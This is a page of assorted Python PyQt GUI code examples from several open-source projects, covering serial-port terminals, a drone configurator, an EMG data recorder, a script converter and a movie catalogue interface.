    def updateBootUpDelay(self):
        '''Creates dialog box to ask user for desired boot up delay.
        This delay waits for Arduino based boards to finish booting up before sending commands.
        '''
        bootUpDelay = float(xml.find("./Settings/BootUpDelay").text)
        data, ok = QtGui.QInputDialog.getDouble(self, "Boot Up Delay", "Boot Up Delay:", bootUpDelay, 0, 60, 3)
        if ok:
            xml.find("./Settings/BootUpDelay").text = str(data)
            xml.write("AeroQuadConfigurator.xml")
 
    def updateCommTimeOut(self):
        '''Creates dialog box to ask user for desired comm timeout.
        This is timeout value used by serial drivers to wait for response from device
        '''
        commTimeOut = float(xml.find("./Settings/CommTimeOut").text)
        data, ok = QtGui.QInputDialog.getDouble(self, "Comm Time Out", "Comm Time Out:", commTimeOut, 0, 60, 3)
        if ok:
            xml.find("./Settings/CommTimeOut").text = str(data)
            xml.write("AeroQuadConfigurator.xml")

    def updateComPortSelection(self):
        '''Look for available comm ports and updates combo box'''
        self.ui.comPort.clear()
        for n in self.comm.detectPorts():
            self.ui.comPort.addItem(n)
        self.ui.comPort.addItem("-------")
        self.ui.comPort.addItem("Autoconnect")
        self.ui.comPort.addItem("Refresh")
        
    def storeComPortSelection(self):
        '''Stores comm port selection to xml file for later recall'''
        xml.find("./Settings/DefaultBaudRate").text = str(self.ui.baudRate.currentText())
        xml.find("./Settings/DefaultComPort").text = str(self.ui.comPort.currentText())
        xml.write("AeroQuadConfigurator.xml")
               
    def updateBaudRates(self):
        '''Reads baud rates from xml and displays in combo box.
        Updates the xml file to display different baud rates
        '''
        defaultBaudRate = xml.find("./Settings/DefaultBaudRate").text
        baudRates = xml.find("./Settings/AvailableBaudRates").text
        baudRate = baudRates.split(',')
        for i in baudRate:
            self.ui.baudRate.addItem(i)
        self.ui.baudRate.setCurrentIndex(baudRate.index(defaultBaudRate))     
 
    
    '''Board Selection Methods'''            
    def configureBoardTypeMenu(self):
        '''Dynamically add board types to menu bar'''
        boardNames = xml.findall("./Boards/Type")
        self.boardTypes = []
        self.boardMenu = []
        for board in boardNames:
            self.boardTypes.append(board.text)
        self.boardTypeMapper = QtCore.QSignalMapper(self)
        for boardType in self.boardTypes:
            self.ui.board = self.ui.menuBoard.addAction(boardType)
            self.boardMenu.append(self.ui.board) # Need to store this separately because Python only binds stuff at runtime
            self.boardTypeMapper.setMapping(self.ui.board, boardType)
            self.ui.board.triggered.connect(self.boardTypeMapper.map)
            self.ui.board.setCheckable(True)
        self.boardTypeMapper.mapped[str].connect(self.selectBoardType)
        selectedBoardType = xml.find("./Boards/Selected").text
        self.checkmarkBoardType(selectedBoardType)
        return selectedBoardType

    def selectBoardType(self, boardType):
        '''Places check mark beside selected board type
        Menu item instances stored in dedicated list because Python only updates during runtime making everything point to the last item in the list
        '''
        types = len(self.boardTypes)
        for name in range(types):
            self.boardMenu[name].setChecked(False)
        self.checkmarkBoardType(boardType)
        selected = self.boardTypes.index(boardType)
        self.boardMenu[selected].setChecked(True)
        xml.find("./Boards/Selected").text = str(boardType)
        xml.write("AeroQuadConfigurator.xml")
        self.selectedBoardType = boardType
        self.clearSubPanelMenu()
        self.configureSubPanelMenu(boardType)
        self.ui.subPanel.setCurrentIndex(0)

    def checkmarkBoardType(self, boardType):
        '''Place checkmark next to selected board type'''
        selected = self.boardTypes.index(boardType)
        self.boardMenu[selected].setChecked(True)

  
    ''' SubPanel Methods '''
    def configureSubPanelMenu(self, boardType):
        '''Dynamically add subpanels to View menu based on selected board type'''
        boardSubPanelName = "./Board/[@Type='" + str(boardType) + "']/Subpanels/Subpanel"
        subPanels = xml.findall(boardSubPanelName)
        subPanelCount = 1
        self.subPanelList = []
        self.subPanelClasses = []
        for subPanel in subPanels:
            self.subPanelList.append(subPanel.get("Name"))
            pathName = xml.find(boardSubPanelName + "/[@Name='" + subPanel.get("Name") +"']/Path").text
            className = xml.find(boardSubPanelName + "/[@Name='" + subPanel.get("Name") +"']/Class").text
            packageList = pathName.split('.')
            packageString = packageList[0] + '.' + packageList[1]
            module = __import__(packageString)
            for package in packageList[1:]:
                module = getattr(module, package)
            module = getattr(module, className)
            tempSubPanel = module()
            tempSubPanel.setupUi(tempSubPanel, self.comm)
            self.ui.subPanel.addWidget(tempSubPanel)
            self.subPanelClasses.append(tempSubPanel)
            subPanelCount += 1
            
        self.subPanelMapper = QtCore.QSignalMapper(self)
        self.subPanelMenu = []
        for subPanelName in self.subPanelList:
            subPanel = self.ui.menuView.addAction(subPanelName)
            self.subPanelMenu.append(subPanel) # Need to store this separately because Python only binds stuff at runtime
            self.subPanelMapper.setMapping(subPanel, subPanelName)
            subPanel.triggered.connect(self.subPanelMapper.map)
            subPanel.setCheckable(True)
        self.subPanelMapper.mapped[str].connect(self.selectSubPanel)
  
    def selectSubPanel(self, subPanelName):
        '''Places check mark beside selected subpanel name
        Menu item instances stored in dedicated list because Python only updates during runtime making everything point to the last item in the list
        '''
        if self.activeSubPanel != None:
            self.activeSubPanel.stop()
        types = len(self.subPanelList)
        for index in range(types):
            self.subPanelMenu[index].setChecked(False)
        selected = self.subPanelList.index(subPanelName)
        self.subPanelMenu[selected].setChecked(True)
        self.ui.subPanel.setCurrentIndex(selected+1) # index 0 is splash screen
        self.activeSubPanel = self.subPanelClasses[selected]
        self.activeSubPanel.start()
        
    def clearSubPanelMenu(self):
        ''' Clear subPanel menu and disconnect subPanel related signals'''
        self.ui.menuView.clear()
        self.subPanelMapper.mapped[str].disconnect(self.selectSubPanel)
        
    def restartSubPanel(self):
        if self.activeSubPanel != None: # Restart any running subpanels
            self.activeSubPanel.stop()
            self.activeSubPanel.start()
            
    ''' Housekeeping Functions'''
    def exit(self):
        self.comm.disconnect()
        sys.exit(app.exec_())
コード例 #52
0
ファイル: sppyqt.py プロジェクト: Al-od/sppyqt
class CMainWindow(QMainWindow):
   def __init__(self, *args):
      self.ser = None
      self.reader = CReader()
      self.writer = CWriter()
      
      apply(QMainWindow.__init__, (self, ) + args)
      self.ui = Ui_MainWindow()
      self.setupUi()
      self.printInfo("Ready...")

   def setupUi(self):
      self.ui.setupUi(self)
      self.ui.baudRateComboBox.addItems(baudRates)
      self.refreshPorts()
      QObject.connect(self.ui.exitPushButton, SIGNAL("clicked()"), self, SLOT("close()"))
      QObject.connect(self.ui.refreshPortsPushButton, SIGNAL("clicked()"), self.refreshPorts)
      QObject.connect(self.ui.connectPushButton, SIGNAL("clicked()"), self.connect)
      QObject.connect(self.ui.disconnectPushButton, SIGNAL("clicked()"), self.disconnect)
      QObject.connect(self.ui.cmdLineEdit, SIGNAL("returnPressed()"), self.processCmd)

      QObject.connect(self.reader, SIGNAL("newData(QString)"), self.updateLog)
      QObject.connect(self.reader, SIGNAL("error(QString)"), self.printError)
      QObject.connect(self.writer, SIGNAL("error(QString)"), self.printError)

   def getUSBPorts(self):
      return glob.glob("/dev/ttyUSB*")

   def getSPPorts(self):
      return glob.glob("/dev/ttyS*")
   
   def getSelectedPort(self):
      return self.ui.portsComboBox.currentText()
   
   def getSelectedBaudRate(self):
      return self.ui.baudRateComboBox.currentText()

   def refreshPorts(self):
      self.ui.portsComboBox.clear()
      self.ui.portsComboBox.addItems(sorted(self.getUSBPorts()))
      self.ui.portsComboBox.addItems(sorted(self.getSPPorts()))

   def connect(self):
      self.disconnect()
      try:
         self.printInfo("Connecting to %s with %s baud rate." % \
                        (self.getSelectedPort(), self.getSelectedBaudRate()))
         self.ser = serial.Serial(str(self.getSelectedPort()), \
                                  int(self.getSelectedBaudRate()))
         self.startReader(self.ser)
         self.printInfo("Connected successfully.")
      except:
         self.ser = None
         self.printError("Failed to connect!")

   def disconnect(self):
      self.stopThreads()
      if self.ser == None: return
      try:
         if self.ser.isOpen:
            self.ser.close()
            self.printInfo("Disconnected successfully.")
      except:
         self.printError("Failed to disconnect!")
      self.ser = None
   
   def startReader(self, ser):
      self.reader.start(ser)

   def stopThreads(self):
      self.stopReader()
      self.stopWriter()
      
   def stopReader(self):
      if self.reader.isRunning():
         self.reader.terminate()
   
   def stopWriter(self):
      if self.writer.isRunning():
         self.writer.terminate()

   def printInfo(self, text):
      self.ui.logPlainTextEdit.appendPlainText(text)
      self.ui.logPlainTextEdit.moveCursor(QTextCursor.End)
   
   def printError(self, text):
      self.ui.logPlainTextEdit.appendPlainText(text)
      self.ui.logPlainTextEdit.moveCursor(QTextCursor.End)
   
   def printCmd(self, text):
      self.ui.logPlainTextEdit.appendPlainText("> " + text + "\n\n")
      self.ui.logPlainTextEdit.moveCursor(QTextCursor.End)

   def updateLog(self, text):
         self.ui.logPlainTextEdit.moveCursor(QTextCursor.End)
         self.ui.logPlainTextEdit.insertPlainText(text)
         self.ui.logPlainTextEdit.moveCursor(QTextCursor.End)

   def processCmd(self):
      cmd = self.ui.cmdLineEdit.text()
      self.printCmd(cmd)
      self.writer.start(self.ser, cmd)
      self.ui.cmdLineEdit.clear()

   def closeEvent(self, event):
      self.disconnect()
コード例 #53
0
ファイル: main.py プロジェクト: DrLuke/acrylengraver
                if self.ui.radioButtonOrig.isChecked():
                    self.pixmap = QPixmap.fromImage(self.imageOrig)
                elif self.ui.radioButtonR.isChecked():
                    self.pixmap = QPixmap.fromImage(self.imageRd)
                elif self.ui.radioButtonG.isChecked():
                    self.pixmap = QPixmap.fromImage(self.imageGd)
                elif self.ui.radioButtonB.isChecked():
                    self.pixmap = QPixmap.fromImage(self.imageBd)
            else:
                if self.ui.radioButtonOrig.isChecked():
                    self.pixmap = QPixmap.fromImage(self.imageOrig)
                elif self.ui.radioButtonR.isChecked():
                    self.pixmap = QPixmap.fromImage(self.imageR)
                elif self.ui.radioButtonG.isChecked():
                    self.pixmap = QPixmap.fromImage(self.imageG)
                elif self.ui.radioButtonB.isChecked():
                    self.pixmap = QPixmap.fromImage(self.imageB)

            self.ui.imageLabel.setPixmap(self.pixmap)

if __name__ == "__main__":
    app = QApplication(sys.argv)
    window = QMainWindow()
    ui = Ui_MainWindow()
    ui.setupUi(window)

    eng = Engraver(ui)

    window.show()
    sys.exit(app.exec())
コード例 #54
0
class Main(QtGui.QMainWindow):
	def __init__(self):
		QtGui.QMainWindow.__init__(self)
		self.ui = Ui_MainWindow()
		self.ui.setupUi(self)
		self.ui.btnConvert.clicked.connect(self.btnConvert_clicked)
		self.ui.btnDefault.clicked.connect(self.btnDefault_clicked)

	def btnConvert_clicked(self):
		src_txt =  unicode (self.ui.te_src.toPlainText().toUtf8(), "utf-8")
		opt_txt =  unicode (self.ui.te_opt.toPlainText().toUtf8(), "utf-8")

		from_val =  self.ui.cb_src.currentIndex()
		to_val =  self.ui.cb_opt.currentIndex()

		usc = UgScriptConverter()

		# 0 Uyghur, 1 Latin, 2 Common Turkish
		if from_val == to_val:
			opt_txt = src_txt
		elif from_val == 0: 
			if to_val == 1:
				# Uyghur to Latin
				opt_txt = usc.UA2LT(src_txt)
			elif to_val == 2:
				# Uyghur to Common Turkish
				opt_txt = usc.UA2CT(src_txt)
		elif from_val == 1: 
			if to_val == 0:
				# Latin to Uyghur
				opt_txt = usc.LA2UA(src_txt)
			elif to_val == 2:
				# Latin to Common Turkish
				opt_txt = usc.LA2CT(src_txt)
		elif from_val == 2:
			if to_val == 0:
				# Common Turkish to Uyghur
				opt_txt = usc.CT2UA(src_txt)
			elif to_val == 1:
				# Common Turkish to Latin
				opt_txt = usc.CT2LA(src_txt)

		self.ui.te_opt.setText(opt_txt)
		# print from_val
		# print to_val

		# text = u"ھەممە ئادەم تۇغۇلۇشىدىنلا ئەركىن، ئىززەت-ھۆرمەت ۋە ھوقۇقتا باب-باراۋەر بولۇپ تۇغۇلغان."+\
		# u' ئۇلار ئەقىلگە ۋە ۋىجدانغا ئىگە ھەمدە بىر-بىرىگە قېرىنداشلىق مۇناسىۋىتىگە'+\
		# u" خاس روھ بىلەن مۇئامىلە قىلىشى كېرەك."
		
		# latin_text = u"Hemme adem tughulushidinla erkin, izzet-hörmet we hoquqta bab-barawer "+\
		# u"bolup tughulghan. Ular eqilge we wijdan'gha ige hemde bir-birige qérindashliq munasiwitige "+\
		# u"xas roh bilen muamile qilishi kérek."

		# ct_text = u"Hemme adem tuğuluşidinla erkin, izzet-hörmet ve hoquqta bab-baraver bolup tuğulğan."+\
		# u" Ular eqilge ve vijdanğa ige hemde bir-birige qérindaşliq munasivitige xas roh bilen mu'amile qilişi kérek. ? <<>>"

		# # latin_text = "adem adem"
		# self.ui.te_src.setText(ct_text)
		# usc = UgScriptConverter()

		# # ug_text = usc.CT2UA(ct_text)
		# # self.ui.textEdit_2.setText(ug_text)

		# # sys.exit()

		# ug_text = usc.LA2UA(latin_text)
		# self.ui.te_opt.setText(ug_text)

		# ct_text= usc.LA2CT(latin_text)
		# self.ui.te_opt.setText(ct_text)

	def btnDefault_clicked(self):
		
		ug_text = u"چەتئەل"

		from_val =  self.ui.cb_src.currentIndex()

		if from_val == 0:
			self.ui.te_src.setText(ug_text)
		elif from_val == 1:
			pass
		elif from_val == 1:
			pass
		elif from_val == 1:
			pass
		elif from_val == 1:
			pass
		else:
			pass
コード例 #55
0
ファイル: qtb_serial.py プロジェクト: cosgroma/qtbooty
class SerialWidget(QWidget):

  def __init__(self, port=None, baud=None, connect_on_start=False):
    super(SerialWidget, self).__init__()
    self.ser = None
    self.reader = CReader()
    self.writer = CWriter()
    self.ui = Ui_MainWindow()
    self.setupUi()
    self.connected = False

    if port is not None:
      curIndex = self.ui.portsComboBox.findText(port)
      if curIndex > -1:
        self.ui.portsComboBox.setCurrentIndex(curIndex)
        self.port = port
    if baud is not None and baud in baudRates:
      self.ui.baudRateComboBox.setCurrentIndex(self.ui.baudRateComboBox.findText(baud))
      self.baud = baud

    if connect_on_start and self.baud is not None and self.port is not None:
      self.connect()

  def setupUi(self):
    self.ui.setupUi(self)
    self.ui.baudRateComboBox.addItems(baudRates)
    self.refreshPorts()

    # QObject.connect(self.ui.exitPushButton, SIGNAL("clicked()"), self, SLOT("close()"))
    QObject.connect(self.ui.refreshPortsPushButton, SIGNAL("clicked()"), self.refreshPorts)
    QObject.connect(self.ui.connectPushButton, SIGNAL("clicked()"), self.connect)
    # QObject.connect(self.ui.disconnectPushButton, SIGNAL("clicked()"), self.disconnect)
    QObject.connect(self.ui.cmdLineEdit, SIGNAL("returnPressed()"), self.processCmd)

    QObject.connect(self.reader, SIGNAL("newData(QString)"), self.updateLog)
    QObject.connect(self.reader, SIGNAL("error(QString)"), self.printError)
    QObject.connect(self.writer, SIGNAL("error(QString)"), self.printError)

  def getUSBPorts(self):
    return glob.glob("/dev/ttyUSB*")

  def getSPPorts(self):
    return glob.glob("/dev/ttyS*")

  def getWinPorts(self):
    return ["COM1", "COM2", "COM3", "COM5"]

  def getSelectedPort(self):
    return self.ui.portsComboBox.currentText()

  def getSelectedBaudRate(self):
    return self.ui.baudRateComboBox.currentText()

  def refreshPorts(self):
    self.ui.portsComboBox.clear()
    self.ui.portsComboBox.addItems(sorted(self.getUSBPorts()))
    self.ui.portsComboBox.addItems(sorted(self.getSPPorts()))
    self.ui.portsComboBox.addItems(sorted(self.getWinPorts()))

  def connect(self):
    if self.connected:
      self.connected = False
      self.stopThreads()
      self.ui.connectPushButton.setText("connect")
      self.ui.connectPushButton.setDown(False)
      if self.ser.isOpen:
        self.ser.close()
        self.setWindowTitle("disconnected")
      self.ser = None
    else:
      self.ui.connectPushButton.setDown(True)
      self.ui.connectPushButton.setText("disconnect")
      self.setWindowTitle("%s:%s" % (self.getSelectedPort(), self.getSelectedBaudRate()))
      try:
        # self.ui.setWindowTitle("%s:%s" % (self.getSelectedPort(), self.getSelectedBaudRate()))
        self.ser = serial.Serial(str(self.getSelectedPort()), int(self.getSelectedBaudRate()))
        self.ser.write("\n")
        self.connected = True
        self.startReader(self.ser)
      except:
        self.ser = None
        self.connected = False
        self.printError("ERROR")

  def startReader(self, ser):
    self.reader.start(ser)

  def stopThreads(self):
    self.stopReader()
    self.stopWriter()

  def stopReader(self):
    if self.reader.isRunning():
      self.reader.terminate()

  def stopWriter(self):
    if self.writer.isRunning():
      self.writer.terminate()

  def printInfo(self, text):
    self.ui.logPlainTextEdit.appendPlainText(text)
    self.ui.logPlainTextEdit.moveCursor(QTextCursor.End)

  def printError(self, text):
    self.ui.logPlainTextEdit.appendPlainText(text)
    self.ui.logPlainTextEdit.moveCursor(QTextCursor.End)

  def printCmd(self, text):
    self.ui.logPlainTextEdit.appendPlainText("> " + text + "\n")
    self.ui.logPlainTextEdit.moveCursor(QTextCursor.End)

  def updateLog(self, text):
    self.ui.logPlainTextEdit.moveCursor(QTextCursor.End)
    # print([text])
    ptext = str(text)
    if '\n' in ptext:
      ptext = '\n'.join(filter(None, ptext.splitlines()))
    if (len(ptext) < 4 and '->' in ptext) or "[vxWorks *]#" in ptext:
      ptext = '\n' + ptext + '\n'
    else:
      ptext += '\n'
    # if not '->' == ptext[0:1] and ptext[-1] is not '\n':
    #   ptext += '\n'
    # print([ptext])
    self.ui.logPlainTextEdit.insertPlainText(ptext)
    self.ui.logPlainTextEdit.moveCursor(QTextCursor.End)

  def processCmd(self):
    cmd = self.ui.cmdLineEdit.text()
    self.writer.start(self.ser, cmd)
    self.ui.cmdLineEdit.clear()

  def closeEvent(self, event):
    pass
コード例 #56
0
ファイル: recorder.py プロジェクト: Yakisoba007/PyTrigno
class Recorder(QMainWindow):
    '''Main Window
     - menu toolbar to load and save session, open plotter and set server
     - dock widget holding session and run information
     - grid plot to stream current emg data of 16 channels
     - start, stop, progressbar and trigger for current run
    '''
    
    
    def __init__(self, parent=None):
        super(Recorder, self).__init__(parent)
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)
        
        self.plotter = None
        self.session = None
        self.server = DelsysStation(parent=self)
        
        self.ui.dockWidget.setWidget(QWidget())
        
        self.dockLayout = QGridLayout(self.ui.dockWidget.widget())
        self.showSessionMeta = None
        self.showRunMeta = None
        self.plotWidget = None
        self.plots = []
        self.startTime = datetime.now()
        
        self.pinger = QTimer(self) # timer to read data from server whenever available
        self.runPinger = QTimer(self) # timer to call stop when run duration times out
        
        self.runPinger.setSingleShot(True)
        self.runPinger.timeout.connect(self.stop)
        self.pinger.timeout.connect(self.ping)
        self.kinectRecorder=None
        self.newpath=None
        self.notSavedState = False
        
    def clearDock(self):
        ''' clear session (dock widget elements)
        - remove showSessionMeta
        - remove showRunMeta
        - kill kinectRecorder
        - remove session
        
        if changes are not saved, ask
        '''
        if self.showSessionMeta is not None:
            reply = QMessageBox.question(self, 'QMessageBox.question()',
                                         'Do you want to first save the current session?',
                                         QMessageBox.Yes | QMessageBox.No | QMessageBox.Cancel)
            if reply == QMessageBox.Yes:
                self.save()
            elif reply == QMessageBox.Cancel:
                return 
            
            self.session = None
            self.dockLayout.removeWidget(self.showSessionMeta)
            self.dockLayout.removeWidget(self.showRunMeta)
            self.showSessionMeta.deleteLater()
            self.showRunMeta.deleteLater()
            self.showSessionMeta = None
            self.showRunMeta = None
            self.kinectRecorder.killRecorder()
            
    def preparePlots(self):
        '''arange 2x8 plots for each channel and
        set parameters
        '''
        if self.ui.frame.layout() is None:
            layout = QGridLayout()
            self.ui.frame.setLayout(layout)
        else:
            #########
            # reset #
            #########
            layout = self.ui.frame.layout()
            layout.removeWidget(self.plotWidget)
            self.plotWidget = None
            self.plots = []
        self.plotWidget = pg.GraphicsLayoutWidget(border=(100,100,100))
        layout.addWidget(self.plotWidget)
        
        for i in range(8):
            for k in range(2):
                self.plots.append(self.plotWidget.addPlot(title="EMG " + str(k+2*i+1)))
                self.plots[-1].plot(np.linspace(0,2,1000))
                self.plots[-1].setYRange(-0.0002, 0.0002)
            self.plotWidget.nextRow()
        
        self.plotWidget.show()
        
    def setServer(self):
        ''' open dialog to set server address
        e.g. localhost, 192.168.1.5
        '''
        text, ok = QInputDialog.getText(self, "Set server",
                'Enter server adress')
        if ok:
            self.server.host = text
            
    def newSession(self):
        ''' create new session:
        - clear dock
        - open dialog to set session parameters
        - create showSessionMeta, showRunMeta, kinectRecorder
        '''
        self.clearDock()
        
        sessionDialog = SessionDialog(self)
        if sessionDialog.exec_():
            newpath = os.path.join(sessionDialog.ui.leDir.text(), sessionDialog.ui.leName.text()) 
            if not os.path.isdir(newpath):
                os.makedirs(newpath)
            else:
                print('reusing folder')
                QMessageBox.information(self, 'Warning!', '''You\'re reusing the subject folder''',
            QMessageBox.Ok)
                
            self.session = Session(sessionDialog.ui.leName.text(),
                                   sessionDialog.ui.teBemerkung.toPlainText(),
                                   newpath)
            self.showSessionMeta = sessionView(self.session, self)
            self.showRunMeta = RunWidget(self)
            self.showRunMeta.ui.leCurrentRun.setText(str(len(self.session.runs)))
            
            try:
                self.kinectRecorder=KinectRecorder()
            except:
                print "no Kinect recording"
                self.kinectRecorder = None
                                        
            self.showSessionMeta.ui.showBemerkung.textChanged.connect(self.pendingSave)
            self.showRunMeta.ui.lwRuns.itemDoubleClicked.connect(self.openPlotter)
            self.dockLayout.addWidget(self.showSessionMeta)
            self.dockLayout.addWidget(self.showRunMeta)
            
            self.showRunMeta.show()
            self.showSessionMeta.show()
            self.preparePlots()
            self.ui.tbStart.setEnabled(True)
    
    def pendingSave(self):
        self.notSavedState = True
        self.setWindowTitle("PyTrigno(*)")
        
    def save(self):
        self.notSavedState = False
        self.setWindowTitle("PyTrigno")
        self.session.remarks = self.showSessionMeta.ui.showBemerkung.toPlainText()
        self.session.dump("ReadMe.txt")
        
    def startRun(self):
        ''' start a recording:
         - setup server
         - setup timer (if no eternity is toggled)
         - setup progress bar
         - setup buttons
         - setup session
         - start recorder
        '''
        #setup server
        self.server.exitFlag = False
        try:
            self.startTime = datetime.now()
            self.server.start()
        except:
            print("something went wrong")
            self.server.exitFlag = True
            raise socket.timeout("Could not connect to Delsys Station")
        else:
            if self.showRunMeta.ui.cbEternity.checkState() == 0:
                duration = self.showRunMeta.ui.timeEdit.time()
                d = duration.second() + duration.minute()*60
                
                self.runPinger.start(d*1000)
                self.ui.elapsedTime.setRange(0,d)
            elif self.showRunMeta.ui.cbEternity.checkState() == 2:
                self.ui.elapsedTime.setRange(0,0)
            
            self.pinger.start()
            
            self.ui.tbStop.setEnabled(True)
            self.ui.tbTrigger.setEnabled(True)
            self.ui.tbStart.setEnabled(False)
            
            name = self.showRunMeta.ui.leCurrentRun.text()
            self.session.addRun(name)
            if self.kinectRecorder is not None:
                self.kinectRecorder.startRecording(self.newpath+'\\'+name+'.oni')            
            self.ui.elapsedTime.setRange(0,d)
    
    def stop(self):
        ''' stop recording due to button press or timeout
        - setup buttons
        - stop timers
        - stop server
        - kill kinectRecorder
        - add item to list of runs
        '''
        self.ui.tbStop.setEnabled(False)
        self.ui.tbTrigger.setEnabled(False)
        self.ui.tbStart.setEnabled(True)
        self.ui.elapsedTime.reset()
        
        QListWidgetItem(self.showRunMeta.ui.leCurrentRun.text(),
                        self.showRunMeta.ui.lwRuns)
        
        self.showRunMeta.ui.leCurrentRun.setText(str(len(self.session.runs)))
        self.server.exitFlag = True
        self.server.stop()

        self.runPinger.stop()
        self.pinger.stop()
        
        self.session.stopRun(self.server.buffer)
        self.server.buffer = None
        if self.kinectRecorder is not None:
            self.kinectRecorder.stopRecording()
        self.server.flush()
        
    def trigger(self):
        ''' add a trigger '''
        print("trigger")
        trigger = self.server.buffer[0].shape[1]
        self.session.addTrigger(trigger)
        
    def ping(self):
        ''' update progress bar and plots everytime
        new data is available 
        '''
        elapsed = int((datetime.now()-self.startTime).total_seconds())
        self.ui.elapsedTime.setValue(elapsed)
        
        for p in range(len(self.plots)):
            if self.server.buffer[0].shape[1] < 5000:
                self.plots[p].plot(self.server.buffer[0][p], clear=True)
            else:
                self.plots[p].plot(self.server.buffer[0][p,-5000:], clear=True)
    
    def openPlotter(self, item=None):
        if self.plotter is None:
            self.plotter = Plotter()
        if item is not None:
            self.plotter.load([os.path.join(self.session.dir, item.text()) + ".pk"])
        self.plotter.show()
        
    def closeEvent(self, event):
        if self.notSavedState:
            reply = QMessageBox.question(self, 'QMessageBox.question()',
                                            'Do you want to first save the current session?',
                                            QMessageBox.Yes | QMessageBox.No | QMessageBox.Cancel)
        else:
            reply = QMessageBox.No

        if reply == QMessageBox.Yes:
            self.save()
        elif reply == QMessageBox.Cancel:
            event.ignore()
            return
      
        if not self.server.exitFlag:
            self.stop()
        event.accept()
コード例 #57
0
ファイル: qterm.py プロジェクト: strawbot/TimbreTalk
	def __init__(self, parent=None, source=None):
		QMainWindow.__init__(self, parent)
		self.ui = Ui_MainWindow()
		self.ui.setupUi(self)
		self.banner()
		# connect(fontSizeSpin, SIGNAL(valueChanged(int), textEdit, SLOT(setFontPointSize(int));
		self.ui.fontSize.valueChanged.connect(self.setFontSize)
		
		# serial port
		self.sptimer = QTimer()
		self.portname = None
		self.serialPort = serialio.serialPort(int(self.ui.BaudRate.currentText()))

		# adjust ui widgets
		self.UiAdjust()
		self.listPorts()
		self.show() 

		# font size adjustment
		if sys.platform == 'darwin':
			self.show()
			self.raise_()
		else:
			font = self.ui.textEdit.font()
			font.setPointSize(font.pointSize() - 3)
			self.ui.textEdit.setFont(font)
			self.ui.fontSize.setValue(font.pointSize())
		self.charwidth = self.ui.textEdit.fontMetrics().width(' ')*1.1
			
		# widget connections
		self.ui.PortSelect.activated.connect(self.selectPort)
		self.ui.BaudRate.activated.connect(self.selectRate)
		self.ui.BaudRate.currentIndexChanged.connect(self.selectRate)
		self.ui.LoopBack.stateChanged.connect(self.connectPort)

		# text window
		self.mutex = QMutex()
		self.ui.textEdit.setCursorWidth(8)
		self.ui.textEdit.installEventFilter(self)
		self.messages(messageQueue())
		self.ui.Find.clicked.connect(self.findText)
		self.ui.ClearText.clicked.connect(self.clearText)
		self.ui.saveText.clicked.connect(self.saveText)
		self.textcount = 0

		# capture all qt errors to terminal window
		def log_uncaught_exceptions(ex_cls, ex, tb):
			error(''.join(traceback.format_tb(tb)))
			error('{0}: {1}'.format(ex_cls, ex))
		sys.excepthook = log_uncaught_exceptions		
	
		# setup input/output
		self.ui.InBuffered.clicked.connect(self.buffered)
		self.ui.InRaw.clicked.connect(self.rawMinusEcho)
		self.ui.InRawEcho.clicked.connect(self.rawPlusEcho)
		self.ui.InHex.clicked.connect(self.rawPlusEcho)
		self.ui.InRaw.click()
		self.echo = False
		self.linebuffer = []
		self.ui.inputIgnore.activated.connect(self.selectIgnores)
		self.ui.inputIgnore.setCurrentIndex(1) # ignore cr as default
		self.selectIgnores()

		self.ui.CrOut.setId(self.ui.CRnada, 0)
		self.ui.LfOut.setId(self.ui.LFnada, 0)
		self.ui.CrOut.setId(self.ui.CRCR, 13)
		self.ui.LfOut.setId(self.ui.LFCR, 13)
		self.ui.CrOut.setId(self.ui.CRLF, 10)
		self.ui.LfOut.setId(self.ui.LFLF, 10)
		self.ui.CrOut.buttonClicked.connect(self.setCr)
		self.ui.LfOut.buttonClicked.connect(self.setLf)
		self.ui.CRCR.click()
		self.ui.LFnada.click()
		self.ui.linewrap.stateChanged.connect(self.selectLinewrap)

		# phrases
		self.ui.send1.clicked.connect(self.ui.phrase1.returnPressed)
		self.ui.send2.clicked.connect(self.ui.phrase2.returnPressed)
		self.ui.send3.clicked.connect(self.ui.phrase3.returnPressed)
		self.ui.send4.clicked.connect(self.ui.phrase4.returnPressed)
		self.ui.send5.clicked.connect(self.ui.phrase5.returnPressed)
		self.ui.send6.clicked.connect(self.ui.phrase6.returnPressed)
		self.ui.send7.clicked.connect(self.ui.phrase7.returnPressed)
		self.ui.send8.clicked.connect(self.ui.phrase8.returnPressed)
		
		self.ui.phrase1.returnPressed.connect(self.sendPhrase1)
		self.ui.phrase2.returnPressed.connect(self.sendPhrase2)
		self.ui.phrase3.returnPressed.connect(self.sendPhrase3)
		self.ui.phrase4.returnPressed.connect(self.sendPhrase4)
		self.ui.phrase5.returnPressed.connect(self.sendPhrase5)
		self.ui.phrase6.returnPressed.connect(self.sendPhrase6)
		self.ui.phrase7.returnPressed.connect(self.sendPhrase7)
		self.ui.phrase8.returnPressed.connect(self.sendPhrase8)
コード例 #58
0
class SeptimoArte(QtGui.QWidget):
    """Clase principal de programa."""
    columna_actor = (
        (u"Nombre", 167),
        (u"Cumpleaños", 120),
        (u"Genero", 90),
        (u"N° Películas", 90))

    columna_pelicula = (
        (u"Nombre", 200),
        (u"Estreno", 70),
        (u"Director", 150),
        (u"Pais", 80),
        (u"N° Actores", 90))

    def __init__(self):
        """Constructor principal."""
        super(SeptimoArte, self).__init__()
        self.tipoModel = None
        self.ui = Ui_MainWindow()
        self.ui.setupUi(self)
        self.centerWindow()
        self.setModel()
        self.setSignals()
        self.show()

        # Signals para cargar la grilla correspondiente al cambiar de Tab
        self.ui.tabWidget.currentChanged.connect(self.changedTab)

    def centerWindow(self):
        """Funcion que centra la interfaz grafica en la pantalla del usuario."""
        qr = self.frameGeometry()
        cp = QtGui.QDesktopWidget().availableGeometry().center()
        qr.moveCenter(cp)
        self.move(qr.topLeft())

    def setModel(self):
        """Define el módelo de la grilla para trabajarla."""
        self.proxyModelActor = QtGui.QSortFilterProxyModel()
        self.proxyModelActor.setDynamicSortFilter(True)

        self.ui.actoresTreeView.sortByColumn(0, QtCore.Qt.AscendingOrder)
        self.ui.actoresTreeView.setModel(self.proxyModelActor)

        self.proxyModelMovie = QtGui.QSortFilterProxyModel()
        self.proxyModelMovie.setDynamicSortFilter(True)

        self.ui.peliculasTreeView.sortByColumn(0, QtCore.Qt.AscendingOrder)
        self.ui.peliculasTreeView.setModel(self.proxyModelMovie)

    def setSourceModel(self, model):
        """
        Actualiza constantemente el origen de los datos para siempre tenerlos
        al día así pudiendo buscar y mostrar solo algunos datos.
        Además llama a las funciones que rellenan los comboBox de filtrado y
        asigna el tamaño de las columnas a las grillas respectivas.
